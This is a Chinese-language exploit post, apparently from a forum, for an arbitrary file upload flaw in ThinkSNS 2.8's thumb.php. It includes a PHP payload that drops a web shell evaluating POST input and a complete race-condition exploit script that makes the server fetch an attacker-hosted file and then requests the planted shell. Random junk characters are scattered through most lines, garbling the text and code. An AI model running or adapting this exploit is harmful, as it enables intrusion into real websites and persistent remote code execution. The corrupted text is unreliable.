漏洞版本
+ h' x& V7 r( D+ ~ \! h: {存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过), ^- u& J; {! G' S, g3 W" I" M3 R
漏洞文件1 q8 ]/ h: M; U+ t
存在漏洞的文件为:thumb.php- K, x# g- t7 r& s/ z& Q, r0 h+ a4 G
作者:韦鲲鹏
) U$ C9 X5 X7 R; Y: ]1、 准备如下PHP文件并上传到服务器(自己的)。2 d, e0 |, e r
文件内容如下:
/ p" d7 G4 [7 l3 e# y- { r<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>1 _& q) G& c, ?% A6 n5 Y) w
2、 计算出临时的文件名:, ]0 N# g2 ?2 D: C$ ?. S1 h! S- h! {' @
这里我们可以看文件的99行(刚刚是不是没注意呀!)。( ?/ U: x) B* ^$ V
9 t/ r2 Q0 {7 i; q2 F6 S0 t3、 上传临时文件。
& H$ f: C# O4 M0 _4、 访问临时文件。0 ^* Z$ N' o+ H' e7 J5 W
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
6 T v( S! S1 i! ZExploit文件内容如下:(这个我就不详细解释了)
. l2 g& r f' w<?php; Z; v" _) A9 o# y# q* w6 m) W! }
error_reporting(0);# Y, B7 L' K3 {0 S- A0 ^
set_time_limit(0);
$ B5 j1 v0 k8 I& ?ini_set(“default_socket_timeout”, 5);- j" _" s; {$ i: \* M
function http_send($host, $port, $headers) {
% l1 I1 |, ]0 L; x( S: P8 e. _$fp = fsockopen($host, $port);' W# d Y; @7 D* E0 b
if (!$fp) die(‘Connection -> fail’);0 B4 z6 j6 J- K0 c& e
fputs($fp, $headers);' V4 j- o& K5 b/ s: Z% ?- c2 ^
return $fp;
/ L& J, u9 W: P5 m% s}0 k: U0 w: j2 f
function http_recv($fp) {
7 ^: y" ~# {9 C( _$ret=”";3 j1 L2 I1 G" c+ G0 j3 W/ g
while (!feof($fp))
' m4 C/ l( [4 G5 ^* o$ret.= fgets($fp, 1024);
- i2 y* y. N# s& P1 h4 v- N; F. }fclose($fp);
7 g! O( _4 a8 G I& `4 {return $ret;# r& ]0 n3 T) v9 v5 J
}
! x* L) D' n; w% `1 yprint “\n# ThinkSns Arbitrary File Upload #\n”;) S9 J2 |0 E/ j8 ^( t h
print “# Discovered by 韦鲲鹏 #\n\n”;
! _( K1 A9 \! v4 f( e/ l, \if ($argc < 4) {
7 F! K3 D5 u$ r8 r" [; b5 `print “Usage: php <host> <path> <romote_url>\n”;
) Y/ D, U G1 e$ Mprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”; v$ _1 D$ H% r! H/ ^
die();3 x8 g& F! g, `# [# p) a$ v
}7 [) \2 D [: S6 A
$host = $argv[1];3 q% _+ Y% V, L4 k/ ^7 c+ n! y
$path = $argv[2];: v# K* [, y7 g1 q/ t
$url = $argv[3];
& H1 a- T3 \, e$i=0;( J) _, o( G; }# Q) l
//上传数据包6 t1 r7 l; \: Z+ o* ^3 n
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
1 q& ~9 k# M1 U% L" l$headers_up .= “Host: “.$host.”\r\n”;
8 L$ q6 ~0 Q7 T+ |6 s$headers_up .= “Connection: close\r\n\r\n”; o' t6 {3 h, n }% i5 R
echo $headers_up;* @5 j) _ J3 e# D
//临时文件访问数据包
8 y; \% J. c% P9 p$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;1 U+ T9 Q; o1 N/ Q' B
$headers .= “Host: “.$host.”\r\n”;4 y9 \! H& l7 X7 H
$headers .= “Connection: close\r\n\r\n”; K i! C( U0 [8 W: C1 O5 G
echo $headers;
! n* X% m; X5 a8 ^) gwhile(++$i<10) {( C/ r- i2 U+ s8 s6 c; E, N+ t
fclose(http_send($host, 80, $headers));# D# o/ m' Z" m9 Q' G
}% M! O* ?% Y/ ]8 |& t, ]
fclose(http_send($host, 80, $headers_up));* Y4 k6 l, H8 D. k- V) F" S+ U7 A3 u
while(++$i<50) {
9 m7 m# s: q* ~9 S6 Q# ufclose(http_send($host, 80, $headers)); [ W, i# l, h5 [/ w2 x
}
F; d$ ~) a8 L+ U7 _3 M$ J$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
5 ]7 ]9 ~; }, I4 @# p7 t' _$headers .= “Host: “.$host.”\r\n”;
* g9 N4 g* f! ? Y6 Z' C( m( C$headers .= “Connection: close\r\n\r\n”;2 h6 @5 P4 S/ f$ H s9 i
$res=http_recv(http_send($host, 80, $headers));2 q! s9 f* @, L. o1 _. `) V% H
if(preg_match(‘/200 OK/’,$res)) {
. I! x! e# v# \7 }print “Success!\n\n”;0 q: m$ a+ p8 y2 t( _3 z' L
} else {
6 B0 K" h/ _. A( x# Z0 H2 s( eprint “Fail!\n\n”;
6 j/ H% C. M4 H4 h R+ X}
) F; S) P- A) I' n' T, W* ^) A?>
/ u b. J9 d* Z3 ^* u6 s6 R; o+ i |